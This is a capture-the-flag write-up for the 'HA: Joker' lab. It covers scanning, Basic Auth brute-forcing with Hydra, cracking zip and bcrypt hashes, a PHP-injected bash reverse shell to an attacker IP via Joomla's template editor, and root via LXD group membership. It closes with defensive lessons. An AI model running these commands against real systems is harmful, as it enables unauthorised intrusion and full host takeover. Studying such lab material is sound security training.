

HA: Joker — CTF Writeup

From recon to root: a full exploitation walkthrough and teaching guide

- Intermediate
- Web exploitation
- Hash cracking
- Privilege escalation

Attack chain overview



Step-by-step walkthrough

1. Enumeration

Started with an Nmap service scan to map the attack surface:

```
nmap -sV <target-ip>
```

Port 22	OpenSSH 8.2p1 (Ubuntu)
Port 80	Apache 2.4.41 — "HA: Joker" website
Port 8080	Apache 2.4.41 — 401 Unauthorized , HTTP Basic Auth

Why it matters: the 401 on 8080 immediately signals a second, hidden application gated behind credentials — a strong lead to chase first.

2. Directory brute-force on port 80

Used `dirb` with an extensions list to catch files that a default wordlist would miss:

```
dirb http://<target-ip> -X .php,.txt,.html,.zip,.bak,.conf
```

Found a secret file exposing the username **joker**.

3. Basic Auth brute-force on port 8080

HTTP Basic Auth sends `base64(username:password)` in the Authorization header on every request — making it a clean target for online brute-forcing:

```
hydra -l joker -P /usr/share/wordlists/rockyou.txt <target-ip> -s 8080 http-get /
```

Username	joker
Password	hannah

Credentials unlocked a **Joomla CMS** blog running on port 8080.

4. Backup discovery and hash cracking

Authenticated directory brute-force on 8080 surfaced an encrypted backup zip — a classic case of a forgotten backup left in a web-accessible path.

```
gobuster dir -u http://<target-ip>:8080 -w common.txt -U joker -P hannah -x .zip,.bak,.sql
```

```
zip2john backup.zip > zip.hash
```

```
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Inside the cracked zip: `joomlaadb.sql`, a full database dump. Searching it for the users table revealed the admin record:

```
INSERT INTO `cc1gr_users` VALUES
(547,'Super Duper User','admin','admin@example.com',
'$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG', ...);
```

Super user	admin
Hash type	bcrypt (\$2y\$10\$...)

Cracked the bcrypt hash with John the Ripper to recover the Joomla admin password.

5. Reverse shell via the Joomla template editor

Logged into `/administrator` with the cracked credentials. Joomla's built-in template editor allows direct editing of PHP files that the server will execute — a classic authenticated RCE path in CMS platforms.

```
exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-tun0-ip>/4444 0>&1'");
```

Started a listener and triggered the payload by requesting the edited template file:

```
nc -lvnp 4444
curl http://<target-ip>:8080/templates/bee3/index.php
```

Shell landed as: `www-data`

Why `www-data`? Apache executes PHP under its configured service account, which on Ubuntu/Debian is `www-data` by default — a deliberate least-privilege design so a compromised web app doesn't hand an attacker root immediately. Any code Apache runs (including an injected reverse shell) inherits that same low-privilege identity.

6. Privilege escalation via LXD group membership

Checking group membership of the shell revealed the real misconfiguration:

```
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
```

`www-data` being a member of the `lxd` group is root-equivalent: LXD lets any group member create a *privileged* container and mount the host filesystem inside it.

```
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

```
# Inside the container, the host filesystem is now mounted:
cd /mnt/root/root
cat root.txt
```

Result: full read/write access to the host as root, via a container that runs with host-level privileges.

Lessons learned

1. Rate-limit and lock out authentication endpoints

Port 8080's Basic Auth had no throttling, so Hydra cracked it in minutes. Any exposed login — Basic Auth, SSH, CMS admin — needs logout thresholds or fail2ban-style protections.

2. Never leave backups in web-accessible paths

The database backup zip sitting on the web root handed over the entire schema, including password hashes, once the zip password was cracked. Backups belong outside the webroot, ideally off-host entirely.

3. Audit group memberships — especially `lxd`, `docker`, `disk`, `sudo`

These groups are functionally root-equivalent. A service account like `www-data` should never belong to any of them. Check regularly with `getent group lxd`.

4. Disable CMS file/template editors in production

Joomla's (and WordPress's) built-in code editor is a direct path to remote code execution for anyone with admin access. Disable it, or restrict admin access at the network layer.

5. Strong, unique passwords still matter

Both the Basic Auth password and the Joomla admin password were crackable against `rockyou.txt`. Bcrypt slows an attacker down, but it doesn't stop them against weak, dictionary-based passwords.

Tools used

Nmap dirb gobuster Hydra zip2john John the Ripper curl netcat LXD / lxc